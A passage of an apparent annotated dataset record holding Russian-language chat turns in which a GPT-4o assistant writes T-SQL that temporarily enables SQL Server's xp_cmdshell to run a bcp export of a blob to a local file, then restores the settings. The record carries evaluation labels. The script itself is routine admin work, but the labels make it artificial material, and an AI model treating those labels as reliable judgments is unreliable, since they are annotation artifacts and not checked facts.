\u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0435\u0451\nIF @xp_cmdshell_status = 0\nBEGIN\n EXEC sp_configure 'xp_cmdshell', 0;\n RECONFIGURE WITH OVERRIDE;\nEND\n\n-- \u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439 \u0432 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\nEXEC sp_configure 'show advanced options', 0;\nRECONFIGURE WITH OVERRIDE;\n```\n\n\u0412 \u044d\u0442\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435:\n1. \u041c\u044b \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u043f\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e `sp_configure 'show advanced options', 1;`.\n2. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `xp_cmdshell` \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 `@xp_cmdshell_status`.\n3. \u0415\u0441\u043b\u0438 `xp_cmdshell` \u0431\u044b\u043b\u0430 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0435\u0451.\n4. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 `bcp`. \n5. \u0415\u0441\u043b\u0438 `xp_cmdshell` \u0431\u044b\u043b\u0430 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0435\u0451 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438.\n6. \u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439 \u0432 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435.\n\n\u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e, \u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b `bcp`.","behavior":"degenerate_repetition","conversation_hash":"d222de426d2d14006203b74b26bb5d57","conversation_redacted":false,"conversation_toxic":false,"country":"Russia","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"Russian","model":"gpt-4o-2024-08-06","n_chars":2204,"n_turns_in_conversation":16,"n_words":274,"source_row_offset":35238,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:03:54 GMT","turn_id":"945878e5b23f43017bddfb12","turn_index":2,"user_text":"\u0430 \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0435\u0441\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 - \u0432\u043a\u043b\u044e\u0447\u0438\u0442, \u0430 \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0432\u0435\u0440\u043d\u0451\u0442 \u0435\u0451 \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435"},{"assistant_initiates":false,"asst_text":"\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435 \u0437\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0443 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043c \u043e\u0448\u0438\u0431\u043a\u0438 \u0438 \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043c \u043a\u043e\u0434. \u041c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c `@xp_cmdshell_status OUTPUT` \u0442\u0430\u043a, \u043a\u0430\u043a \u0431\u044b\u043b\u043e \u0440\u0430\u043d\u0435\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `xp_cmdshell`. \u0412\u043e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442:\n\n```sql\nDECLARE @xp_cmdshell_status INT;\nDECLARE @ftime VARBINARY(MAX);\nDECLARE @bcpCommand NVARCHAR(MAX);\n\n-- \u0412\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043f\u043e\u043a\u0430\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 xp_cmdshell\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\n\n-- \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 xp_cmdshell\nSELECT @xp_cmdshell_status = CAST(value_in_use AS INT)\nFROM sys.configurations\nWHERE name = 'xp_cmdshell';\n\n-- \u0415\u0441\u043b\u0438 xp_cmdshell \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0435\u0451\nIF @xp_cmdshell_status = 0\nBEGIN\n EXEC sp_configure 'xp_cmdshell', 1;\n RECONFIGURE;\nEND\n\n-- \u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 ftime\nSELECT TOP 1 @ftime = ftime FROM [(spxml_blobs)]\nWHERE url = 'x-local://wt_data/lists/wtv_custom_templates.xml';\n\n-- \u0424\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c bcp \u043a\u043e\u043c\u0430\u043d\u0434\u0443\nSET @bcpCommand = N'bcp \"SELECT data FROM [(spxml_blobs)] WHERE ftime = 0x' \n + CONVERT(NVARCHAR(MAX), @ftime, 2) \n + N'\" queryout \"c:\\temp\\File_replication.zip\" -T -N';\n\n-- \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c bcp \u043a\u043e\u043c\u0430\u043d\u0434\u0443\nEXEC xp_cmdshell @bcpCommand;\n\n-- \u0415\u0441\u043b\u0438 xp_cmdshell \u0431\u044b\u043b\u0430 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0435\u0451\nIF @xp_cmdshell_status = 0\nBEGIN\n EXEC sp_configure 'xp_cmdshell', 0;\n RECONFIGURE;\nEND\n\n-- \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043f\u043e\u043a\u0430\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439\nEXEC sp_configure 'show advanced options', 0;\nRECONFIGURE;\n```\n\n\u0412 \u044d\u0442\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435:\n1. \u041c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043f\u043e\u043a\u0430\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439.\n2. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `xp_cmdshell` \u0438\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u044b `sys.configurations`.\n3. \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c `xp_cmdshell`, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430.\n4. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c `bcp` \u043a\u043e\u043c\u0430\u043d\u0434\u0443.\n5. \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c `xp_cmdshell`, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430.\n6. \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043f\u043e\u043a\u0430\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439.\n\n\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u044d\u0442\u043e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e SQL Server.","behavior":"degenerate_repetition","conversation_hash":"d222de426d2d14006203b74b26bb5d57","conversation_redacted":false,"conversation_toxic":false,"country":"Russia","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"Russian","model":"gpt-4o-2024-08-06","n_chars":2839,"n_turns_in_conversation":16,"n_words":371,"source_row_offset":35239,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:03:54 GMT","turn_id":"2e0ae190e10bc5ff3b01e65b","turn_index":3,"user_text":"Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.\nMsg 8162, Level 16, State 2, Procedure sp_configure, Line 0 [Batch Start Line 0]\nThe formal parameter \"@configvalue\" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output.\nMsg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1 [Batch Start Line 0]\nSQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.\nConfiguration option 'show advanced options' changed from 1 to 0. Run the RECONFIGURE statement to install.\n"}],"shard":{"index":31,"name":"turns-00031.parquet","rows":51455}}